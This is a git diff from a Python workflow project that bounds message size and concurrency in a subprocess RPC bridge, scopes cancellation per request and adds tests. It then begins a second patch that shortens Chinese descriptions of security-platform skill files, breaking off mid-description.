bool(self.cancel_checker and self.cancel_checker()) + output = bool(effective_cancel_checker and effective_cancel_checker()) return {"type": "rpc_result", "token": token, "id": req_id, "ok": True, "output": output} if kind in ("tool", "tool_safe"): @@ -654,15 +730,20 @@ def _handle_rpc_request(self, *, msg: Dict[str, Any], token: str) -> Dict[str, A if not isinstance(kwargs, dict): raise RuntimeError("Tool kwargs must be an object") registry = self.tool_registry or get_tool_registry() - if hasattr(registry, "cancel_checker"): + cancel_scope = contextlib.nullcontext() + with_cancel_checker = getattr(registry, "with_cancel_checker", None) + if callable(with_cancel_checker): try: - registry.cancel_checker = self.cancel_checker + registry = with_cancel_checker(effective_cancel_checker) except Exception: - pass - if kind == "tool_safe": - output = registry.run_safe(name, **kwargs) + cancel_scope = _legacy_registry_cancel_scope(registry, effective_cancel_checker) else: - output = registry.run(name, **kwargs) + cancel_scope = _legacy_registry_cancel_scope(registry, effective_cancel_checker) + with cancel_scope: + if kind == "tool_safe": + output = registry.run_safe(name, **kwargs) + else: + output = registry.run(name, **kwargs) return {"type": "rpc_result", "token": token, "id": req_id, "ok": True, "output": output} if kind == "llm": @@ -697,7 +778,7 @@ def _handle_rpc_request(self, *, msg: Dict[str, Any], token: str) -> Dict[str, A retry_delay_s = float(retry_delay_raw) except Exception as exc: raise RuntimeError("LLM retry_delay_s must be a number when provided") from exc - output = get_lazy_llm(cancel_checker=self.cancel_checker).ask( + output = get_lazy_llm(cancel_checker=effective_cancel_checker).ask( prompt, temperature=temperature, model=model, @@ -726,6 +807,8 @@ class HostProcessPythonExecRuntime(SandboxPythonExecRuntime): sandbox: Dict[str, Any] = field(default_factory=dict) inherited_fd_keys: Tuple[str, ...] = () retained_fd_keys: Tuple[str, ...] = () + rpc_max_bytes: Optional[int] = _HOST_PROCESS_RPC_MAX_BYTES + rpc_max_workers: int = _HOST_PROCESS_RPC_MAX_WORKERS def execute(self, code: str, inputs: Dict[str, Any]) -> Tuple[Dict[str, Any], str]: if not isinstance(code, str): @@ -741,6 +824,14 @@ def execute(self, code: str, inputs: Dict[str, Any]) -> Tuple[Dict[str, Any], st message=f"Inputs must be a dict, got {type(inputs).__name__}", ) + rpc_max_bytes = self.rpc_max_bytes + if rpc_max_bytes is not None: + if type(rpc_max_bytes) is not int or rpc_max_bytes <= 0: + raise NodeExecutionError(node_id="", message="rpc_max_bytes must be None or a positive integer") + rpc_max_workers = self.rpc_max_workers + if type(rpc_max_workers) is not int or rpc_max_workers <= 0: + raise NodeExecutionError(node_id="", message="rpc_max_workers must be a positive integer") + inherited_fds = self._resolve_inherited_fds(inputs) retained_fds = self._resolve_retained_fds(inputs) managed_fds = tuple(dict.fromkeys((*inherited_fds, *retained_fds.values()))) @@ -767,7 +858,7 @@ def execute(self, code: str, inputs: Dict[str, Any]) -> Tuple[Dict[str, Any], st python_source = self._build_python_source( code=code, bridge_token=token, - rpc_max_bytes=None, + rpc_max_bytes=rpc_max_bytes, extra_site_packages=package_root, ) with tempfile.NamedTemporaryFile( @@ -783,7 +874,7 @@ def execute(self, code: str, inputs: Dict[str, Any]) -> Tuple[Dict[str, Any], st python_cmd = self._build_python_cmd( code=code, bridge_token=token, - rpc_max_bytes=None, + rpc_max_bytes=rpc_max_bytes, extra_site_packages=package_root, python_executable=sys.executable, ) @@ -796,6 +887,7 @@ def execute(self, code: str, inputs: Dict[str, Any]) -> Tuple[Dict[str, Any], st stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, + encoding="utf-8", bufsize=1, env={**os.environ, "LC_ALL": "C.UTF-8", "LANG": "C.UTF-8"}, start_new_session=(os.name != "nt"), @@ -824,17 +916,42 @@ def execute(self, code: str, inputs: Dict[str, Any]) -> Tuple[Dict[str, Any], st ) stderr_thread.start() - stdout_lines: queue.Queue[Optional[str]] = queue.Queue() + bridge_closed = threading.Event() + stdout_reader_stop = threading.Event() + bridge_errors: list[str] = [] + stdout_lines: queue.Queue[Optional[str]] = queue.Queue(maxsize=rpc_max_workers) + + def _queue_stdout_line(line: Optional[str]) -> bool: + while not stdout_reader_stop.is_set(): + try: + stdout_lines.put(line, timeout=0.05) + return True + except queue.Full: + continue + return False def _read_stdout() -> None: try: while True: - line = proc.stdout.readline() - if line == "": + if rpc_max_bytes is None: + raw_line = proc.stdout.buffer.readline() + else: + raw_line = proc.stdout.buffer.readline(rpc_max_bytes + 1) + if raw_line == b"": + break + if rpc_max_bytes is not None and len(raw_line) > rpc_max_bytes: + bridge_errors.append( + f"Isolated host RPC message exceeds configured limit ({rpc_max_bytes} bytes)" + ) break - stdout_lines.put(line) + line = raw_line.decode(proc.stdout.encoding or "utf-8") + if not _queue_stdout_line(line): + return + except Exception as exc: + bridge_errors.append(f"Isolated host RPC bridge read failed: {exc}") finally: - stdout_lines.put(None) + bridge_closed.set() + _queue_stdout_line(None) stdout_thread = threading.Thread( target=_read_stdout, @@ -846,16 +963,30 @@ def _read_stdout() -> None: final_payload: Optional[Dict[str, Any]] = None cancelled = False stdin_lock = threading.Lock() - rpc_pool = _ThreadPoolExecutor(max_workers=32, thread_name_prefix="wf-process-rpc") + rpc_slots = threading.BoundedSemaphore(rpc_max_workers) + rpc_pool = _ThreadPoolExecutor( + max_workers=rpc_max_workers, + thread_name_prefix="wf-process-rpc", + ) + + def _rpc_cancel_requested() -> bool: + return bridge_closed.is_set() or self._cancel_requested() def _handle_rpc(message: Dict[str, Any]) -> None: - response = self._handle_rpc_request(msg=message, token=token) try: - with stdin_lock: - if proc.poll() is None: - self._write_json_line(proc.stdin, response) - except (BrokenPipeError, OSError, ValueError): - return + response = self._handle_rpc_request( + msg=message, + token=token, + cancel_checker=_rpc_cancel_requested, + ) + try: + with stdin_lock: + if not bridge_closed.is_set() and proc.poll() is None: + self._write_json_line(proc.stdin, response) + except (BrokenPipeError, OSError, ValueError): + return + finally: + rpc_slots.release() try: self._write_json_line(proc.stdin, {"type": "init", "token": token, "inputs": child_inputs}) @@ -875,11 +1006,38 @@ def _handle_rpc(message: Dict[str, Any]) -> None: continue msg_type = str(msg.get("type") or "").strip().lower() if msg_type == "rpc": - rpc_pool.submit(_handle_rpc, msg) + slot_acquired = False + while not slot_acquired: + slot_acquired = rpc_slots.acquire(timeout=0.05) + if slot_acquired: + break + if self._cancel_requested(): + cancelled = True + self._terminate_process(proc) + break + if proc.poll() is not None: + bridge_closed.set() + break + if bridge_closed.is_set(): + break + if cancelled: + break + if not slot_acquired: + continue + if bridge_closed.is_set(): + rpc_slots.release() + continue + try: + rpc_pool.submit(_handle_rpc, msg) + except Exception: + rpc_slots.release() + raise elif msg_type == "final" and msg.get("token") == token: payload = msg.get("payload") final_payload = payload if isinstance(payload, dict) else {} finally: + bridge_closed.set() + stdout_reader_stop.set() rpc_pool.shutdown( wait=final_payload is not None and not cancelled, cancel_futures=True, @@ -908,6 +1066,13 @@ def _handle_rpc(message: Dict[str, Any]) -> None: if cancelled: self._close_parent_fds(managed_fds) raise RunCancelledError("") + if bridge_errors: + self._close_parent_fds(managed_fds) + raise NodeExecutionError( + node_id="", + message=bridge_errors[0], + traceback=stderr_text, + ) if exit_code != 0: self._close_parent_fds(managed_fds) message = stderr_text.strip() or f"Isolated command exited with code {exit_code}" diff --git a/flocks/workflow/runner.py b/flocks/workflow/runner.py index f8c82e6e7..7e8d4f52a 100644 --- a/flocks/workflow/runner.py +++ b/flocks/workflow/runner.py @@ -3,6 +3,7 @@ from __future__ import annotations import asyncio +import gc import logging import os import threading @@ -446,6 +447,13 @@ def run_workflow( registry = tool_registry or get_tool_registry(tool_context=tool_context) sandbox_payload = _extract_sandbox_runtime_payload(tool_context) runtime_preference = _resolve_workflow_runtime_preference(tool_context) + isolated_runtime_options: Dict[str, Any] = {} + runtime_metadata = wf.metadata.get("runtime") if isinstance(wf.metadata, dict) else None + if isinstance(runtime_metadata, dict): + if "process_rpc_max_bytes" in runtime_metadata: + isolated_runtime_options["isolated_rpc_max_bytes"] = runtime_metadata["process_rpc_max_bytes"] + if "process_rpc_max_workers" in runtime_metadata: + isolated_runtime_options["isolated_rpc_max_workers"] = runtime_metadata["process_rpc_max_workers"] if runtime_preference == "host": sandbox_payload = None @@ -472,6 +480,7 @@ def run_workflow( rt = PythonExecRuntime( tool_registry=registry, cleanup_globals_after_execute=(history_mode == "summary"), + **isolated_runtime_options, ) _logger.debug( @@ -557,6 +566,9 @@ def _on_step_end(_token, step_result): outputs=last_outputs, history=history_from_error, ) + finally: + if execution_profile != "high_frequency": + gc.collect(0) history = [s.model_dump(mode="json") for s in result.history] if result.history else [] last_outputs = result.outputs if result.outputs else {} diff --git a/flocks/workflow/tools_adapter.py b/flocks/workflow/tools_adapter.py index d589a08d0..80c8bd06d 100644 --- a/flocks/workflow/tools_adapter.py +++ b/flocks/workflow/tools_adapter.py @@ -3,6 +3,7 @@ from __future__ import annotations import asyncio +import copy import json as _json from concurrent.futures import TimeoutError as _FuturesTimeoutError from typing import Any, Callable, Dict, List, Optional @@ -37,6 +38,14 @@ def __init__(self, tool_context: Optional[ToolContext] = None): def _blocked(self, name: str) -> bool: return (name or "").strip() in WORKFLOW_TOOL_BLOCKLIST + def with_cancel_checker( + self, + cancel_checker: Optional[Callable[[], bool]], + ) -> "FlocksToolAdapter": + scoped = copy.copy(self) + scoped.cancel_checker = cancel_checker + return scoped + def _execute_tool_async(self, name: str, ctx: ToolContext, kwargs: Dict[str, Any]) -> ToolResult: """ Execute an async tool from a sync context safely. diff --git a/tests/sandbox/test_workflow_sandbox_runtime.py b/tests/sandbox/test_workflow_sandbox_runtime.py index dcd9daa7f..92aa4bffe 100644 --- a/tests/sandbox/test_workflow_sandbox_runtime.py +++ b/tests/sandbox/test_workflow_sandbox_runtime.py @@ -26,7 +26,7 @@ def test_sandbox_runtime_success_payload(monkeypatch: pytest.MonkeyPatch) -> Non class FakePopen: def __init__(self, *args, **kwargs): _ = args - _ = kwargs + assert kwargs["encoding"] == "utf-8" self.stdin = io.StringIO() self.stdout = io.StringIO( '{"type":"final","token":"tok","payload":{"outputs":{"result":1},"stdout":"ok","error":null}}\n' @@ -85,18 +85,19 @@ def __init__(self, sandbox, tool_registry=None): self.tool_registry = tool_registry class FakeHostRuntime: - def __init__(self, tool_registry): + def __init__(self, tool_registry, **_kwargs): self.tool_registry = tool_registry class FakeEngine: def __init__(self, _wf, runtime=None, **_kwargs): captured["runtime_class"] = type(runtime).__name__ - def run(self, initial_inputs=None, timeout_s=None): + def run(self, initial_inputs=None, timeout_s=None, **_kwargs): _ = initial_inputs _ = timeout_s return SimpleNamespace( history=[], + outputs={}, steps=0, last_node_id=None, run_id="sandbox-run", @@ -152,17 +153,17 @@ def __init__(self, sandbox, tool_registry=None): _ = tool_registry class FakeHostRuntime: - def __init__(self, tool_registry): + def __init__(self, tool_registry, **_kwargs): _ = tool_registry class FakeEngine: def __init__(self, _wf, runtime=None, **_kwargs): captured["runtime_class"] = type(runtime).__name__ - def run(self, initial_inputs=None, timeout_s=None): + def run(self, initial_inputs=None, timeout_s=None, **_kwargs): _ = initial_inputs _ = timeout_s - return SimpleNamespace(history=[], steps=0, last_node_id=None, run_id="host-run") + return SimpleNamespace(history=[], outputs={}, steps=0, last_node_id=None, run_id="host-run") monkeypatch.setattr("flocks.workflow.runner.SandboxPythonExecRuntime", FakeSandboxRuntime) monkeypatch.setattr("flocks.workflow.runner.PythonExecRuntime", FakeHostRuntime) @@ -211,17 +212,17 @@ def __init__(self, sandbox, tool_registry=None): self.tool_registry = tool_registry class FakeHostRuntime: - def __init__(self, tool_registry): + def __init__(self, tool_registry, **_kwargs): _ = tool_registry class FakeEngine: def __init__(self, _wf, runtime=None, **_kwargs): captured["runtime_class"] = type(runtime).__name__ - def run(self, initial_inputs=None, timeout_s=None): + def run(self, initial_inputs=None, timeout_s=None, **_kwargs): _ = initial_inputs _ = timeout_s - return SimpleNamespace(history=[], steps=0, last_node_id=None, run_id="sandbox-default-run") + return SimpleNamespace(history=[], outputs={}, steps=0, last_node_id=None, run_id="sandbox-default-run") async def fake_resolve_sandbox_context(**kwargs): _ = kwargs @@ -270,17 +271,17 @@ def __init__(self, sandbox, tool_registry=None): _ = tool_registry class FakeHostRuntime: - def __init__(self, tool_registry): + def __init__(self, tool_registry, **_kwargs): _ = tool_registry class FakeEngine: def __init__(self, _wf, runtime=None, **_kwargs): _ = runtime - def run(self, initial_inputs=None, timeout_s=None): + def run(self, initial_inputs=None, timeout_s=None, **_kwargs): _ = initial_inputs _ = timeout_s - return SimpleNamespace(history=[], steps=0, last_node_id=None, run_id="sandbox-req-run") + return SimpleNamespace(history=[], outputs={}, steps=0, last_node_id=None, run_id="sandbox-req-run") class FakeHostInstaller: def __init__(self, installer="auto"): @@ -350,17 +351,17 @@ def __init__(self, sandbox, tool_registry=None): _ = tool_registry class FakeHostRuntime: - def __init__(self, tool_registry): + def __init__(self, tool_registry, **_kwargs): _ = tool_registry class FakeEngine: def __init__(self, _wf, runtime=None, **_kwargs): _ = runtime - def run(self, initial_inputs=None, timeout_s=None): + def run(self, initial_inputs=None, timeout_s=None, **_kwargs): _ = initial_inputs _ = timeout_s - return SimpleNamespace(history=[], steps=0, last_node_id=None, run_id="host-req-run") + return SimpleNamespace(history=[], outputs={}, steps=0, last_node_id=None, run_id="host-req-run") class FakeHostInstaller: def __init__(self, installer="auto"): @@ -491,17 +492,17 @@ def test_run_workflow_injects_workflow_file_context_inputs( captured = {"initial_inputs": None} class FakeHostRuntime: - def __init__(self, tool_registry): + def __init__(self, tool_registry, **_kwargs): _ = tool_registry class FakeEngine: def __init__(self, _wf, runtime=None, **_kwargs): _ = runtime - def run(self, initial_inputs=None, timeout_s=None): + def run(self, initial_inputs=None, timeout_s=None, **_kwargs): _ = timeout_s captured["initial_inputs"] = dict(initial_inputs or {}) - return SimpleNamespace(history=[], steps=0, last_node_id=None, run_id="wf-input-inject") + return SimpleNamespace(history=[], outputs={}, steps=0, last_node_id=None, run_id="wf-input-inject") monkeypatch.setattr("flocks.workflow.runner.PythonExecRuntime", FakeHostRuntime) monkeypatch.setattr("flocks.workflow.runner.WorkflowEngine", FakeEngine) diff --git a/tests/workflow/test_workflow_execution_plan.py b/tests/workflow/test_workflow_execution_plan.py index 264f1a630..2c375be34 100644 --- a/tests/workflow/test_workflow_execution_plan.py +++ b/tests/workflow/test_workflow_execution_plan.py @@ -85,3 +85,38 @@ def run(self, *args, **kwargs): # noqa: ANN002, ANN003 assert isinstance(captured_init["execution_plan"], WorkflowExecutionPlan) assert captured_run["retain_history"] is False assert captured_run["run_id"] == "exec-1" + + +def test_workflow_metadata_configures_process_rpc_limits(monkeypatch) -> None: + captured_init: dict[str, Any] = {} + + class FakeEngine: + def __init__(self, *args, **kwargs): # noqa: ANN002, ANN003 + captured_init.update(kwargs) + + def run(self, *args, **kwargs): # noqa: ANN002, ANN003 + return SimpleNamespace( + run_id="rpc-config", + steps=1, + last_node_id="start", + outputs={"ok": True}, + history=[], + ) + + workflow = _workflow() + workflow.metadata = { + "runtime": { + "process_rpc_max_bytes": None, + "process_rpc_max_workers": 3, + } + } + monkeypatch.setattr(runner_module, "WorkflowEngine", FakeEngine) + monkeypatch.setattr(runner_module, "_resolve_workflow_runtime_preference", lambda _ctx: "host") + monkeypatch.setattr(runner_module, "get_tool_registry", lambda tool_context=None: None) + + result = run_workflow(workflow=workflow, ensure_requirements=False) + + assert result.status == "SUCCEEDED" + runtime = captured_init["runtime"] + assert runtime.isolated_rpc_max_bytes is None + assert runtime.isolated_rpc_max_workers == 3 diff --git a/tests/workflow/test_workflow_history_mode.py b/tests/workflow/test_workflow_history_mode.py index a7360e296..c630faf89 100644 --- a/tests/workflow/test_workflow_history_mode.py +++ b/tests/workflow/test_workflow_history_mode.py @@ -1,3 +1,4 @@ +import flocks.workflow.runner as workflow_runner_module from flocks.workflow.runner import run_workflow from flocks.workflow.repl_runtime import PythonExecRuntime @@ -141,6 +142,59 @@ def test_python_runtime_can_cleanup_node_globals_after_execute() -> None: assert "outputs" not in runtime.globals +def test_low_frequency_workflow_boundary_collects_gc_once_on_success_and_failure(monkeypatch) -> None: + collect_calls = [] + monkeypatch.setattr( + workflow_runner_module.gc, + "collect", + lambda generation: collect_calls.append(generation) or 0, + ) + + success = run_workflow( + workflow={ + "start": "done", + "nodes": [{"id": "done", "type": "python", "code": "outputs['ok'] = True"}], + "edges": [], + }, + ensure_requirements=False, + ) + assert success.status == "SUCCEEDED" + assert collect_calls == [0] + + failure = run_workflow( + workflow={ + "start": "fail", + "nodes": [{"id": "fail", "type": "python", "code": "raise RuntimeError('boom')"}], + "edges": [], + }, + ensure_requirements=False, + ) + assert failure.status == "FAILED" + assert collect_calls == [0, 0] + + +def test_high_frequency_workflow_boundary_skips_gc(monkeypatch) -> None: + collect_calls = [] + monkeypatch.setattr( + workflow_runner_module.gc, + "collect", + lambda generation: collect_calls.append(generation) or 0, + ) + + result = run_workflow( + workflow={ + "start": "done", + "nodes": [{"id": "done", "type": "python", "code": "outputs['ok'] = True"}], + "edges": [], + }, + ensure_requirements=False, + execution_profile="high_frequency", + ) + + assert result.status == "SUCCEEDED" + assert collect_calls == [] + + def test_mapped_payload_is_not_retained_for_remaining_run() -> None: workflow = { "start": "produce", diff --git a/tests/workflow/test_workflow_node_timeout.py b/tests/workflow/test_workflow_node_timeout.py index 98d5e714b..10374574c 100644 --- a/tests/workflow/test_workflow_node_timeout.py +++ b/tests/workflow/test_workflow_node_timeout.py @@ -170,6 +170,294 @@ def run(self, _name, *, value): assert registry.peak > 1 +def test_process_rpc_bridge_defaults_to_32_workers(): + assert PythonExecRuntime().isolated_rpc_max_workers == 32 + assert HostProcessPythonExecRuntime().rpc_max_workers == 32 + + +@pytest.mark.parametrize("rpc_max_workers", [3, 8]) +def test_process_rpc_bridge_bounds_concurrent_llm_requests(monkeypatch, rpc_max_workers): + real_executor = repl_runtime_module._ThreadPoolExecutor + pending = 0 + pending_peak = 0 + pending_lock = threading.Lock() + + class TrackingExecutor(real_executor): + def submit(self, fn, *args, **kwargs): + nonlocal pending, pending_peak + with pending_lock: + pending += 1 + pending_peak = max(pending_peak, pending) + + def tracked(): + nonlocal pending + try: + return fn(*args, **kwargs) + finally: + with pending_lock: + pending -= 1 + + try: + return super().submit(tracked) + except Exception: + with pending_lock: + pending -= 1 + raise + + class LLM: + def __init__(self): + self.active = 0 + self.peak = 0 + self.lock = threading.Lock() + + def ask(self, prompt, **_kwargs): + with self.lock: + self.active += 1 + self.peak = max(self.peak, self.active) + try: + time.sleep(0.05) + return prompt + finally: + with self.lock: + self.active -= 1 + + llm = LLM() + monkeypatch.setattr(repl_runtime_module, "_ThreadPoolExecutor", TrackingExecutor) + monkeypatch.setattr(repl_runtime_module, "get_lazy_llm", lambda **_kwargs: llm) + + outputs, _stdout = HostProcessPythonExecRuntime(rpc_max_workers=rpc_max_workers).execute( + ( + "from concurrent.futures import ThreadPoolExecutor\n" + "def call(value):\n" + " return llm.ask(str(value))\n" + "with ThreadPoolExecutor(max_workers=24) as pool:\n" + " outputs['values'] = list(pool.map(call, range(24)))" + ), + {}, + ) + + assert outputs["values"] == [str(value) for value in range(24)] + assert llm.peak <= rpc_max_workers + assert pending_peak <= rpc_max_workers + + +def test_process_rpc_tool_cancel_checker_is_scoped_per_request(): + class Registry: + cancel_checker = None + + def __init__(self): + self.barrier = threading.Barrier(2) + + def run(self, _name, **_kwargs): + self.barrier.wait(timeout=1) + return bool(self.cancel_checker and self.cancel_checker()) + + registry = Registry() + runtime = HostProcessPythonExecRuntime(tool_registry=registry) + responses = {} + + def invoke(label, checker): + responses[label] = runtime._handle_rpc_request( + msg={ + "type": "rpc", + "token": "token", + "id": label, + "rpc": {"kind": "tool", "name": "check"}, + }, + token="token", + cancel_checker=checker, + ) + + first = threading.Thread(target=invoke, args=("first", lambda: False)) + second = threading.Thread(target=invoke, args=("second", lambda: True)) + first.start() + second.start() + first.join(timeout=1) + second.join(timeout=1) + + assert responses["first"]["output"] is False + assert responses["second"]["output"] is True + assert callable(registry.cancel_checker) + assert registry.cancel_checker() is False + + +def test_process_rpc_bridge_rejects_oversized_child_frame(): + with pytest.raises(NodeExecutionError, match="exceeds configured limit"): + HostProcessPythonExecRuntime(rpc_max_bytes=1024).execute( + "outputs['value'] = 'x' * 2048", + {}, + ) + + +def test_process_rpc_bridge_rejects_oversized_parent_response(monkeypatch): + class LLM: + def ask(self, _prompt, **_kwargs): + return "x" * 8192 + + monkeypatch.setattr(repl_runtime_module, "get_lazy_llm", lambda **_kwargs: LLM()) + + with pytest.raises(NodeExecutionError, match="Bridge payload too large"): + HostProcessPythonExecRuntime(rpc_max_bytes=4096).execute( + "outputs['value'] = llm.ask('small')", + {}, + ) + + +def test_process_rpc_bridge_allows_explicitly_unlimited_frames(): + outputs, _stdout = HostProcessPythonExecRuntime(rpc_max_bytes=None).execute( + "outputs['value'] = 'x' * 2048", + {}, + ) + + assert outputs == {"value": "x" * 2048} + + +def test_process_isolated_node_inherits_runtime_rpc_limit(): + workflow = Workflow.from_dict({ + "start": "large_output", + "nodes": [ + { + "id": "large_output", + "type": "python", + "processIsolated": True, + "code": "outputs['value'] = 'x' * 2048", + } + ], + "edges": [], + }) + + with pytest.raises(NodeExecutionError, match="exceeds configured limit"): + WorkflowEngine( + workflow, + runtime=PythonExecRuntime(isolated_rpc_max_bytes=1024), + node_timeout_s=3, + ).run() + + +def test_process_rpc_bridge_cancels_legacy_tool_registry_when_child_exits(): + class Registry: + cancel_checker = None + + def __init__(self): + self.started = threading.Event() + self.stopped = threading.Event() + self.timed_out = threading.Event() + + def run(self, _name, **_kwargs): + self.started.set() + deadline = time.monotonic() + 2 + while time.monotonic() < deadline: + if self.cancel_checker and self.cancel_checker(): + self.stopped.set() + raise RuntimeError("bridge closed") + time.sleep(0.01) + self.timed_out.set() + return "late" + + registry = Registry() + with pytest.raises(NodeExecutionError, match="exited with code 17"): + HostProcessPythonExecRuntime(tool_registry=registry).execute( + ( + "import os, threading, time\n" + "threading.Thread(target=lambda: tool.run('blocked'), daemon=True).start()\n" + "time.sleep(0.3)\n" + "os._exit(17)" + ), + {}, + ) + + assert registry.started.wait(0.5) + assert registry.stopped.wait(0.5) + assert not registry.timed_out.is_set() + deadline = time.monotonic() + 0.5 + while time.monotonic() < deadline and any( + thread.name.startswith("wf-process-rpc") for thread in threading.enumerate() + ): + time.sleep(0.01) + assert not any(thread.name.startswith("wf-process-rpc") for thread in threading.enumerate()) + + +def test_process_rpc_bridge_cancels_llm_when_child_exits(monkeypatch): + started = threading.Event() + stopped = threading.Event() + timed_out = threading.Event() + real_bounded_semaphore = threading.BoundedSemaphore + tracked_semaphores = [] + + class TrackingBoundedSemaphore: + def __init__(self, value): + self._semaphore = real_bounded_semaphore(value) + self._lock = threading.Lock() + self.active = 0 + tracked_semaphores.append(self) + + def acquire(self, *args, **kwargs): + acquired = self._semaphore.acquire(*args, **kwargs) + if acquired: + with self._lock: + self.active += 1 + return acquired + + def release(self): + with self._lock: + self.active -= 1 + self._semaphore.release() + + monkeypatch.setattr( + repl_runtime_module.threading, + "BoundedSemaphore", + TrackingBoundedSemaphore, + ) + + class LLM: + def __init__(self, cancel_checker): + self.cancel_checker = cancel_checker + + def ask(self, _prompt, **_kwargs): + started.set() + deadline = time.monotonic() + 2 + while time.monotonic() < deadline: + if self.cancel_checker and self.cancel_checker(): + stopped.set() + raise RuntimeError("bridge closed") + time.sleep(0.01) + timed_out.set() + return "late" + + monkeypatch.setattr( + repl_runtime_module, + "get_lazy_llm", + lambda *, cancel_checker=None: LLM(cancel_checker), + ) + + with pytest.raises(NodeExecutionError, match="exited with code 17"): + HostProcessPythonExecRuntime().execute( + ( + "import os, threading, time\n" + "for value in range(24):\n" + " threading.Thread(\n" + " target=lambda item=value: llm.ask(f'blocked-{item}'),\n" + " daemon=True,\n" + " ).start()\n" + "time.sleep(0.3)\n" + "os._exit(17)" + ), + {}, + ) + + assert started.wait(0.5) + assert stopped.wait(0.5) + assert not timed_out.is_set() + deadline = time.monotonic() + 0.5 + while time.monotonic() < deadline and any( + thread.name.startswith("wf-process-rpc") for thread in threading.enumerate() + ): + time.sleep(0.01) + assert not any(thread.name.startswith("wf-process-rpc") for thread in threading.enumerate()) + assert len(tracked_semaphores) == 1 + assert tracked_semaphores[0].active == 0 + + def test_process_isolated_runtime_exposes_cooperative_cancel_hooks(): workflow = Workflow.from_dict({ "start": "check_cancel", @@ -290,6 +578,7 @@ def test_host_process_windows_launch_does_not_require_posix_shell(monkeypatch): def checking_popen(args, *popen_args, **popen_kwargs): assert args[0] != "sh" + assert popen_kwargs["encoding"] == "utf-8" script_paths.append(args[-1]) return real_popen(args, *popen_args, **popen_kwargs) @@ -297,11 +586,11 @@ def checking_popen(args, *popen_args, **popen_kwargs): monkeypatch.setattr(repl_runtime_module.subprocess, "Popen", checking_popen) outputs, _stdout = HostProcessPythonExecRuntime().execute( - "outputs['ok'] = True", - {}, + "outputs['value'] = inputs['value']", + {"value": "中文告警"}, ) - assert outputs == {"ok": True} + assert outputs == {"value": "中文告警"} assert script_paths assert all(not os.path.exists(path) for path in script_paths) From c382958010e142119b33d58e31828c5d69c5e4d6 Mon Sep 17 00:00:00 2001 From: xiami762 <> Date: Fri, 7 Aug 2026 14:58:13 +0800 Subject: [PATCH 25/67] refactor(tools): simplify tool definitions and scheduling --- .flocks/plugins/skills/onesec-use/SKILL.md | 2 +- .flocks/plugins/skills/onesig-use/SKILL.md | 2 +- .flocks/plugins/skills/qingteng-use/SKILL.md | 2 +- .../plugins/skills/sangfor-xdr-use/SKILL.md | 2 +- .flocks/plugins/skills/skyeye-use/SKILL.md | 2 +- .flocks/plugins/skills/tdp-use/SKILL.md | 2 +- flocks/agent/agents/rex/prompt_builder.py | 2 +- flocks/command/command.py | 11 +- flocks/task/executor.py | 2 +- flocks/tool/catalog.py | 7 +- flocks/tool/channel/im_send_message.py | 5 +- flocks/tool/file/apply_patch.py | 34 +- flocks/tool/file/edit.py | 24 +- flocks/tool/skill/flocks_skills.py | 139 ++-- flocks/tool/system/flocks_mcp.py | 41 + flocks/tool/task/schedule_task_center.py | 776 ++++++++---------- flocks/tool/wecom/wecom_mcp.py | 43 +- .../integration/test_capability_awareness.py | 2 +- tests/tool/test_builtin_management_tools.py | 19 + tests/tool/test_flocks_skills.py | 74 +- tests/tool/test_task_center_compat.py | 71 +- tests/tool/test_task_list_routing.py | 62 +- tests/tool/test_tool_catalog.py | 2 + tests/tool/test_wecom_mcp.py | 46 ++ .../common/toolPresentation.test.ts | 48 +- .../src/components/common/toolPresentation.ts | 33 +- 26 files changed, 802 insertions(+), 651 deletions(-) create mode 100644 tests/tool/test_wecom_mcp.py diff --git a/.flocks/plugins/skills/onesec-use/SKILL.md b/.flocks/plugins/skills/onesec-use/SKILL.md index 6130138c0..2a62caa70 100644 --- a/.flocks/plugins/skills/onesec-use/SKILL.md +++ b/.flocks/plugins/skills/onesec-use/SKILL.md @@ -1,6 +1,6 @@ --- name: onesec-use -description: 用于处理 OneSEC/OneDNS 终端安全平台相关任务，适合通过API或者结合浏览器进行以下任务: 终端安全调查、威胁事件分析、终端告警检索、行为日志排查、IOC 查询、恶意文件分析、DNS 威胁排查、软件与终端资产查询、任务进度查看、审计日志分析、病毒扫描和常见终端处置场景。只要用户提到 OneSEC、微步 EDR等相关操纵需求时，必须先加载本 skill。本 skill 是 OneSEC 平台操作的唯一决策入口：在未阅读本 skill 并完成模式判断前，不要直接调用任何 `onesec_*` tool。 +description: 用于处理 OneSEC/OneDNS 终端安全平台相关任务，支持通过API或者结合浏览器进行操作。只要用户提到 OneSEC、微步 EDR等相关操纵需求时，必须先加载本 skill。本 skill 是 OneSEC 平台操作的唯一决策入口：在未阅读本 skill 并完成模式判断前，不要直接调用任何 `onesec_*` tool。 --- # OneSEC Use diff --git a/.flocks/plugins/skills/onesig-use/SKILL.md b/.flocks/plugins/skills/onesig-use/SKILL.md index 9a4eafcaf..1933afd52 100644 --- a/.flocks/plugins/skills/onesig-use/SKILL.md +++ b/.flocks/plugins/skills/onesig-use/SKILL.md @@ -1,6 +1,6 @@ --- name: onesig-use -description: 用于处理 OneSIG（安全互联网网关 / Secure Internet Gateway）相关任务，当前项目内优先适配 OneSIG Strategy API v2.5.3（`onesig_strategy_api_query` / `onesig_strategy_api_ops`）：设备状态、资产、策略、全局白名单、全局黑名单、封禁白名单、HTTP 黑名单的查询与写操作。只要用户提到 OneSIG、SIG、安全互联网网关、微步互联网网关等相关操作时，必须先加载本 skill。本 skill 是 OneSIG 平台操作的唯一决策入口：在未阅读本 skill 并完成模式判断前，不要直接调用任何 `onesig_*` tool，也不要把 OneSEC 的调用约定套用到 OneSIG。 +description: 用于处理 OneSIG（安全互联网网关 / Secure Internet Gateway）相关任务，支持通过API或者结合浏览器进行操作。只要用户提到 OneSIG、SIG、微步互联网网关等相关操作时，必须先加载本 skill。本 skill 是 OneSIG 平台操作的唯一决策入口：在未阅读本 skill 并完成模式判断前，不要直接调用任何 `onesig_*` tool。 --- # OneSIG Use diff --git a/.flocks/plugins/skills/qingteng-use/SKILL.md b/.flocks/plugins/skills/qingteng-use/SKILL.md index c8c007dca..7d2c06e12 100644 --- a/.flocks/plugins/skills/qingteng-use/SKILL.md +++ b/.flocks/plugins/skills/qingteng-use/SKILL.md @@ -1,6 +1,6 @@ --- name: qingteng-use -description: 用于处理青藤云安全平台相关任务，适合通过API或者结合浏览器进行以下任务：主机资产盘点、进程与账号排查、端口和服务查询、网站与数据库资产分析、可疑操作检测、暴力破解分析、异常登录排查、WebShell 